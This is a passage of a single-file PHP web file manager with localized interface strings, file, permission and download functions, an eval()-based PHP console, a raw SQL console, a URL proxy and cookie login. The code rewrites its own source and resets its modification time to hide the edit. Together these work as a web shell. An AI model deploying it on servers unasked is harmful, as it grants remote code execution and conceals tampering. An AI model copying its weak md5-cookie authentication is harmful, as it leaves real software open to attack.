    if (!empty($lang_priority)){
	foreach ($lang_priority as $lang_arr){
	    $lng = explode(';', $lang_arr);
	    $lng = $lng[0];
	    if(in_array($lng,$langs)){
		$language = $lng;
		break;
	    }
	}
    }
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


// Localization
if ($language=='ru') {
$lang['Add']='Добавить';
$lang['Are you sure you want to delete this directory (recursively)?']='Вы уверены, что хотите удалить эту папку (рекурсивно)?';
$lang['Are you sure you want to delete this file?']='Вы уверены, что хотите удалить этот файл?';
$lang['Archiving']='Архивировать';
$lang['Authorization']='Авторизация';
$lang['Back']='Назад';
$lang['Cancel']='Отмена';
$lang['Chinese']='Китайский';
$lang['Compress']='Сжать';
$lang['Console']='Консоль';
$lang['Cookie']='Куки';
$lang['Created']='Создан';
$lang['Date']='Дата';
$lang['Days']='Дней';
$lang['Decompress']='Распаковать';
$lang['Delete']='Удалить';
$lang['Deleted']='Удалено';
$lang['Download']='Скачать';
$lang['done']='закончена';
$lang['Edit']='Редактировать';
$lang['Enter']='Вход';
$lang['English']='Английский';
$lang['Error occurred']='Произошла ошибка';
$lang['File manager']='Файловый менеджер';
$lang['File selected']='Выбран файл';
$lang['File updated']='Файл сохранен';
$lang['Filename']='Имя файла';
$lang['Files uploaded']='Файл загружен';
$lang['French']='Французский';
$lang['German']='Немецкий';
$lang['Generation time']='Генерация страницы';
$lang['Home']='Домой';
$lang['Quit']='Выход';
$lang['Language']='Язык';
$lang['Login']='Логин';
$lang['Manage']='Управление';
$lang['Make directory']='Создать папку';
$lang['Name']='Наименование';
$lang['New']='Новое';
$lang['New file']='Новый файл';
$lang['no files']='нет файлов';
$lang['Password']='Пароль';
$lang['pictures']='изображения';
$lang['Recursively']='Рекурсивно';
$lang['Rename']='Переименовать';
$lang['Reset']='Сбросить';
$lang['Reset settings']='Сбросить настройки';
$lang['Result']='Результат';
$lang['Rights']='Права';
$lang['Russian']='Русский';
$lang['Save']='Сохранить';
$lang['Select']='Выберите';
$lang['Select the file']='Выберите файл';
$lang['Settings']='Настройка';
$lang['Show']='Показать';
$lang['Size']='Размер';
$lang['Spanish']='Испанский';
$lang['Submit']='Отправить';
$lang['Task']='Задача';
$lang['templates']='шаблоны';
$lang['Show size of the folder']='Показать размер папки';
$lang['Ukrainian']='Украинский';
$lang['Upload']='Загрузить';
$lang['Value']='Значение';
$lang['Hello']='Привет';
} elseif ($language=='de') {
$lang['Add']='Add';
$lang['Are you sure you want to delete this directory (recursively)'] = 'Sind Sie sicher, dass Sie diesen Ordner löschen möchten (rekursiv)?';
$lang['Are you sure you want to delete this file?'] = 'Sind Sie sicher, dass Sie diese Datei löschen möchten?';
$lang['Archiving'] = 'Archivierung';
$lang['Authorization']='Genehmigung';
$lang['Back'] = 'Zurück';
$lang['Cancel'] = 'Abbrechen';
$lang['Chinese']='Chinesische';
$lang['Compress'] = 'Compress';
$lang['Console'] = 'Console';
$lang['Cookie']='Cookie';
$lang['Created'] = 'Erstellt';
$lang['Date'] = 'Datum';
$lang['Days'] = 'Tage';
$lang['Decompress'] = 'Extract';
$lang['Delete'] = 'Löschen';
$lang['Deleted'] = 'Gelöschte';
$lang['Download'] = 'Laden';
$lang['done'] = 'fertig';
$lang['Edit'] = 'Bearbeiten';
$lang['Enter'] = 'Eintrag';
$lang['Englisch'] = 'Englisch';
$lang['Error occurred'] = 'Ein Fehler ist aufgetreten';
$lang['File manager'] = 'Datei Manager';
$lang['File selected'] = 'Die ausgewählte Datei';
$lang['File updated'] = 'Die Datei wird gespeichert';
$lang['Filename'] = 'Dateiname';
$lang['Files uploaded'] = 'Datei hochgeladen';
$lang['French'] = 'Französisch';
$lang['Generation time'] = 'Generation Zeit';
$lang['German']='Deutche';
$lang['Home'] = 'Home';
$lang['Quit'] = 'Abmelden';
$lang['Language'] = 'Sprache';
$lang['Login'] = 'Login';
$lang['Manage'] = 'Management';
$lang['Make directory'] = 'Neuer Ordner';
$lang['Name']='Name';
$lang['New']='Neu';
$lang['New file'] = 'Neue Datei';
$lang['no files'] = 'keine Dateien';
$lang['Password'] = 'Passwort';
$lang['pictures'] = 'Bilder';
$lang['Recursively'] = 'rekursive';
$lang['Reset']='Zurücksetzen';
$lang['Rename'] = 'Umbenennen';
$lang['Reset settings']='Einstellungen zurücksetzen';
$lang['Result']='Result';
$lang['Ergebnis'] = 'Ergebnis';
$lang['Rights'] = 'Rechte';
$lang['Russian'] = 'Russisch';
$lang['Save']='Speichern';
$lang['Select'] = 'Wählen';
$lang['Select the file'] = 'Wählen Sie die Datei';
$lang['Settings']='Einstellungen';
$lang['Show'] = 'Show';
$lang['Show size of the folder'] = 'Größe des Ordners anzeigen';
$lang['Size'] = 'Größe';
$lang['Spanish']='Spanisch';
$lang['Submit'] = 'Senden';
$lang['Task'] = 'Aufgabe';
$lang['templates']='Vorlagen';
$lang['Ukrainian'] = 'Ukrainisch';
$lang['Upload'] = 'Upload';
$lang['Value']='Wert';
$lang['Hello'] = 'Hallo';
} elseif ($language=='fr') {
$lang['Add']='Ajouter';
$lang['Are you sure you want to delete this directory (recursively)?']='Êtes-vous sûr de vouloir supprimer ce dossier (récursive)?';
$lang['Are you sure you want to delete this file?']='Êtes-vous sûr de vouloir supprimer ce fichier?';
$lang['Archiving']='Archives';
$lang['Authorization']='Autorisation';
$lang['Back']='Arrière';
$lang['Cancel']='annulation';
$lang['Chinese']='Chinois';
$lang['Compress']='Presser';
$lang['Console']='Console';
$lang['Cookie']='Cookie';
$lang['Created']='Êtabli';
$lang['Date']='La date';
$lang['Days']='Journées';
$lang['Decompress']='Décompresser';
$lang['Delete']='Supprimer';
$lang['Deleted']='Supprimé';
$lang['Download']='Télécharger';
$lang['done']='terminé';
$lang['Edit']='Editer';
$lang['Enter']='Entrée';
$lang['English']='Anglais';
$lang['Error occurred']='Une erreur est survenue';
$lang['File manager']='Gestionnaire de fichiers';
$lang['File selected']='Fichier sélectionné';
$lang['File updated']='Le fichier est enregistré';
$lang['Filename']='Nom du fichier';
$lang['Files uploaded']='Fichiers uploadés';
$lang['French']='Française';
$lang['Generation time']='Génération de la page';
$lang['German']='Allemand';
$lang['Home']='Home';
$lang['Quit']='Quitter';
$lang['Language']='Langue';
$lang['Login']='Connexion';
$lang['Manage']='Gestion';
$lang['Make directory']='Nouveau dossier';
$lang['Name']='Nom';
$lang['New']='Nouveau';
$lang['New file']='Nouveau fichier';
$lang['no files']='aucun fichier';
$lang['Password']='Mot de passe';
$lang['pictures']='des photos';
$lang['Recursively']='Récursive';
$lang['Rename']='Renommer';
$lang['Reset']='Réinitialiser';
$lang['Reset settings']='Réinitialiser les paramètres';
$lang['Result']='Résultat';
$lang['Rights']='Permissions';
$lang['Russian']='Russe';
$lang['Save']='Enregistrer';
$lang['Select']='Sélectionnez';
$lang['Select the file']='Sélectionnez le fichier';
$lang['Settings']='Réglages';
$lang['Show']='Show';
$lang['Show size of the folder']='Afficher la taille du dossier';
$lang['Size']='Taille';
$lang['Spanish']='Espagnol';
$lang['Submit']='Envoyer';
$lang['Task']='Tâche';
$lang['templates']='templates';
$lang['Ukrainian']='Ukrainien';
$lang['Upload']='Télécharger';
$lang['Value']='Valeur';
$lang['Hello']='Bonjour';
} else if ($language=='uk') {
$lang['Add']='Додати';
$lang['Are you sure you want to delete this directory (recursively)?']='Ви впевнені, що бажаєте видалити цю папку (рекурсивно)?';
$lang['Are you sure you want to delete this file?']='Ви впевнені, що бажаєте видалити цей файл?';
$lang['Archiving']='Архівувати';
$lang['Authorization']='Авторизація';
$lang['Back']='Назад';
$lang['Cancel']='Відміна';
$lang['Chinese']='Китайська';
$lang['Compress']='Сжати';
$lang['Console']='Консоль';
$lang['Cookie']='Кукi';
$lang['Created']='Створений';
$lang['Date']='Дата';
$lang['Date']='Днiв';
$lang['Decompress']='Розпакувати';
$lang['Delete']='Видалити';
$lang['Deleted']='Видалено';
$lang['Download']='Скачати';
$lang['done']='закінчено';
$lang['Edit']='Редагувати';
$lang['Enter']='Вхід';
$lang['English']='Англійська';
$lang['Error occurred']='Виникла помилка';
$lang['File manager']='Файловий менеджер';
$lang['File selected']='Обрано файл';
$lang['File updated']='Файл збережено';
$lang['Filename']='Им\'я файла';
$lang['Files uploaded']='Файл завантажено';
$lang['French']='Французська';
$lang['Generation time']='Генерація сторінки';
$lang['German']='Німецька';
$lang['Home']='Додому';
$lang['Quit']='Вихід';
$lang['Language']='Мова';
$lang['Login']='Логін';
$lang['Manage']='Управління';
$lang['Make directory']='Створити папку';
$lang['Name']='Найменування';
$lang['New']='Нове';
$lang['New file']='Новий файл';
$lang['no files']='немає файлів';
$lang['Password']='Пароль';
$lang['pictures']='фотографії';
$lang['Recursively']='Рекурсивно';
$lang['Rename']='Перейменувати';
$lang['Reset']='Скидання';
$lang['Reset settings']='Скинути налаштування';
$lang['Result']='Результат';
$lang['Rights']='Права';
$lang['Russian']='Російська';
$lang['Save']='Зберегти';
$lang['Select']='Виберіть';
$lang['Select the file']='Виберіть файл';
$lang['Settings']='Налаштування';
$lang['Show']='Показати';
$lang['Show size of the folder']='Показати розмір папки';
$lang['Size']='Розмір';
$lang['Spanish']='Іспанська';
$lang['Submit']='Відправити';
$lang['Task']='Завдання';
$lang['templates']='шаблони';
$lang['Ukrainian']='Українська';
$lang['Upload']='Завантажити';
$lang['Value']='Значення';
$lang['Hello']='Вітаю';
}

/* Functions */

//translation
function __($text){
    global $lang;
    if (isset($lang[$text])) return $lang[$text];
    else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
    if($recursive && @is_dir($file)) {
	$els = fm_scan_dir($file, '', '', true);
	foreach ($els as $el) {
	    if($el != '.' && $el != '..'){
		fm_del_files($file . '/' . $el, true);
	    }
	}
    }
    if(@is_dir($file)) {
	return rmdir($file);
    } else {
	return @unlink($file);
    }
}

//file perms
function fm_rights_string($file, $if = false){
    $perms = fileperms($file);
    $info = '';
    if(!$if){
	if (($perms & 0xC000) == 0xC000) {
	    //Socket
	    $info = 's';
	} elseif (($perms & 0xA000) == 0xA000) {
	    //Symbolic Link
	    $info = 'l';
	} elseif (($perms & 0x8000) == 0x8000) {
	    //Regular
	    $info = '-';
	} elseif (($perms & 0x6000) == 0x6000) {
	    //Block special
	    $info = 'b';
	} elseif (($perms & 0x4000) == 0x4000) {
	    //Directory
	    $info = 'd';
	} elseif (($perms & 0x2000) == 0x2000) {
	    //Character special
	    $info = 'c';
	} elseif (($perms & 0x1000) == 0x1000) {
	    //FIFO pipe
	    $info = 'p';
	} else {
	    //Unknown
	    $info = 'u';
	}
    }
  
    //Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ?
    (($perms & 0x0800) ? 's' : 'x' ) :
    (($perms & 0x0800) ? 'S' : '-'));
 
    //Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ?
    (($perms & 0x0400) ? 's' : 'x' ) :
    (($perms & 0x0400) ? 'S' : '-'));
 
    //World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ?
    (($perms & 0x0200) ? 't' : 'x' ) :
    (($perms & 0x0200) ? 'T' : '-'));

    return $info;
}

function fm_convert_rights($mode) {
    $mode = str_pad($mode,9,'-');
    $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
    $mode = strtr($mode,$trans);
    $newmode = '0';
    $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
    $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
    $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
    $newmode .= $owner . $group . $world;
    return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
    $res = @chmod(realpath($file), $val);
    if(@is_dir($file) && $rec){
	$els = fm_scan_dir($file);
	foreach ($els as $el) {
	    $res = $res && fm_chmod($file . '/' . $el, $val, true);
	}
    }
    return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
	if (file_exists($file_name)) {
	    header("Content-Disposition: attachment; filename=" . basename($file_name));   
	    header("Content-Type: application/force-download");
	    header("Content-Type: application/octet-stream");
	    header("Content-Type: application/download");
	    header("Content-Description: File Transfer");            
	    header("Content-Length: " . filesize($file_name));		
	    flush(); // this doesn't really matter.
	    $fp = fopen($file_name, "r");
	    while (!feof($fp)) {
		echo fread($fp, 65536);
		flush(); // this is essential for large downloads
	    } 
	    fclose($fp);
	    die();
	} else {
	    header('HTTP/1.0 404 Not Found', true, 404);
	    header('Status: 404 Not Found'); 
	    die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
    if($format)  {
	$size=fm_dir_size($f,false);
	if($size<=1024) return $size.' bytes';
	elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
	elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
	elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
	elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
	else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
    } else {
	if(is_file($f)) return filesize($f);
	$size=0;
	$dh=opendir($f);
	while(($file=readdir($dh))!==false) {
	    if($file=='.' || $file=='..') continue;
	    if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
	    else $size+=fm_dir_size($f.'/'.$file,false);
	}
	closedir($dh);
	return $size+filesize($f); 
    }
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
    $dir = $ndir = array();
    if(!empty($exp)){
	$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
    }
    if(!empty($type) && $type !== 'all'){
	$func = 'is_' . $type;
    }
    if(@is_dir($directory)){
	$fh = opendir($directory);
	while (false !== ($filename = readdir($fh))) {
	    if(substr($filename, 0, 1) != '.' || $do_not_filter) {
		if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
		    $dir[] = $filename;
		}
	    }
	}
	closedir($fh);
	natsort($dir);
    }
    return $dir;
}

function fm_link($get,$link,$name,$title='') {
    if (empty($title)) $title=$name.' '.basename($link);
    return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
    foreach($arr as $v){
	$b=$v[$n];
	$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
    }
    return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
    <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
	<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
	<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
	<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
	<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
	<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
    </select>
</form>
';
}
    
function fm_root($dirname){
    return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
    $display_errors=ini_get('display_errors');
    ini_set('display_errors', '1');
    ob_start();
    eval(trim($string));
    $text = ob_get_contents();
    ob_end_clean();
    ini_set('display_errors', $display_errors);
    return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
    global $fm_config;
    return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
    global $fm_config;
    $query=trim($query);
    ob_start();
    $connection = fm_sql_connect();
    if ($connection->connect_error) {
	ob_end_clean();	
	return $connection->connect_error;
    }
    $connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
    if ($queried===false) {
	ob_end_clean();	
	return mysqli_error($connection);
    } else {
	if(!empty($queried)){
	    while($row = mysqli_fetch_assoc($queried)) {
		$query_result[]=  $row;
	    }
	}
	$vdump=empty($query_result)?'':var_export($query_result,true);	
	ob_end_clean();	
	$connection->close();
	return '<pre>'.stripslashes($vdump).'</pre>';
    }
}

function fm_backup_tables($tables = '*', $full_backup = true) {
    global $path;
    $mysqldb = fm_sql_connect();
    $delimiter = "; \n  \n";
    if($tables == '*')	{
	$tables = array();
	$result = $mysqldb->query('SHOW TABLES');
	while($row = mysqli_fetch_row($result))	{
	    $tables[] = $row[0];
	}
    } else {
	$tables = is_array($tables) ? $tables : explode(',',$tables);
    }
    
    $return='';
    foreach($tables as $table)	{
	$result = $mysqldb->query('SELECT * FROM '.$table);
	$num_fields = mysqli_num_fields($result);
	$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
	$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
	$return.=$row2[1].$delimiter;
        if ($full_backup) {
	for ($i = 0; $i < $num_fields; $i++)  {
	    while($row = mysqli_fetch_row($result)) {
		$return.= 'INSERT INTO `'.$table.'` VALUES(';
		for($j=0; $j<$num_fields; $j++)	{
		    $row[$j] = addslashes($row[$j]);
		    $row[$j] = str_replace("\n","\\n",$row[$j]);
		    if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
		    if ($j<($num_fields-1)) { $return.= ','; }
		}
		$return.= ')'.$delimiter;
	    }
	  }
	} else { 
	$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
	}
	$return.="\n\n\n";
    }

    //save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
    $handle = fopen($file,'w+');
    fwrite($handle,$return);
    fclose($handle);
    $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
    $mysqldb = fm_sql_connect();
    $delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
    
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
	    $result = $mysqldb->query($stmt);
		if (!$result){
		    $sqlErrorCode = mysqli_errno($mysqldb->connection);
		    $sqlErrorText = mysqli_error($mysqldb->connection);
		    $sqlStmt      = $stmt;
		    break;
                 }
              }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
    return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
    return '
input, input.fm_input {
    text-indent: 2px;
}
input, textarea, select, input.fm_input {
    color: black;
    font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
    border-color: black;
    background-color: #FCFCFC none !important;
    border-radius: 0;
    padding: 2px;
}
input.fm_input {
    background: #FCFCFC none !important;
    cursor: pointer;
}
.home {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
    background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
    global $fm_config;
    return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
    if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
    if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
    if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
    if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
    return 'http://';
}

function fm_site_url() {
    return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
    $host=$full?fm_site_url():'.';
    return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
    return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
    global $fm_config;
    $return = !empty($fm_config['enable_'.$lng.'_console']) ? 
    '
		<form  method="post" action="'.fm_url().'" style="display:inline">
		<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
		</form>
' : '';
    return $return;
}

function fm_url_proxy($matches) {
    $link = str_replace('&amp;','&',$matches[2]);
    $url = isset($_GET['url'])?$_GET['url']:'';
    $parse_url = parse_url($url);
    $host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
    if (substr($link,0,2)=='//') {
	$link = substr_replace($link,fm_protocol(),0,2);
    } elseif (substr($link,0,1)=='/') {
	$link = substr_replace($link,$host,0,1);	
    } elseif (substr($link,0,2)=='./') {
	$link = substr_replace($link,$host,0,2);	
    } elseif (substr($link,0,4)=='http') {
	//alles machen wunderschon
    } else {
	$link = $host.$link;
    } 
    if ($matches[1]=='href' && !strripos($link, 'css')) {
	$base = fm_site_url().'/'.basename(__FILE__);
	$baseq = $base.'?proxy=true&url=';
	$link = $baseq.urlencode($link);
    } elseif (strripos($link, 'css')){
	//как-то тоже подменять надо
    }
    return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
    global ${$lng_tpl.'_templates'};
    $tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
    $str = '';
    foreach ($tpl_arr as $ktpl=>$vtpl) {
	$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
    }
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
    if (isset($_POST['login']) && isset($_POST['password'])){
	if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
	    setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
	    $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
	}
    }
    if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
	echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
    }
    if (isset($_POST['quit'])) {
	unset($_COOKIE[$auth['cookie_name']]);
	setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
	header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
    }
}

// Change config
if (isset($_GET['fm_settings'])) {
    if (isset($_GET['fm_config_delete'])) { 
	unset($_COOKIE['fm_config']);
	setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
	header('Location: '.fm_url().'?fm_settings=true');
	exit(0);
    }	elseif (isset($_POST['fm_config'])) { 
	$fm_config = $_POST['fm_config'];
	setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_config'] = serialize($fm_config);
	$msg = __('Settings').' '.__('done');
    }	elseif (isset($_POST['fm_login'])) { 
	if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
	$fm_login = json_encode($_POST['fm_login']);
	$fgc = file_get_contents('fm.php');
	$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
	if (!empty($matches[1])) {
	    $filemtime = filemtime(__FILE__);
	    $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
	    if (file_put_contents(__FILE__, $replace)) {
		$msg .= __('File updated');
		if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
		if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
		$auth = $_POST['fm_login'];
	    }
	    else $msg .= __('Error occurred');
	    touch(__FILE__,$filemtime);
	}
    } elseif (isset($_POST['tpl_edited'])) { 
	$lng_tpl = $_POST['tpl_edited'];
	if (!empty($_POST[$lng_tpl.'_name'])) {
	    $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
	} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
	    $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
	}
	if (!empty($fm_php)) {
	    $fgc = file_get_contents('fm.php');
	    $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
	    if (!empty($matches[1])) {
		$filemtime = filemtime(__FILE__);
		$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
		if (file_put_contents(__FILE__, $replace)) {
		    ${$lng_tpl.'_templates'} = $fm_php;
		    $msg .= __('File updated');
		} else $msg .= __('Error occurred');
		touch(__FILE__,$filemtime);
	    }	
	} else $msg .= __('Error occurred');
    }
}

// Just show image
if (isset($_GET['img'])) {
    $file=base64_decode($_GET['img']);
    if ($info=getimagesize($file)){
	switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
	    case 1: $ext='gif'; break;
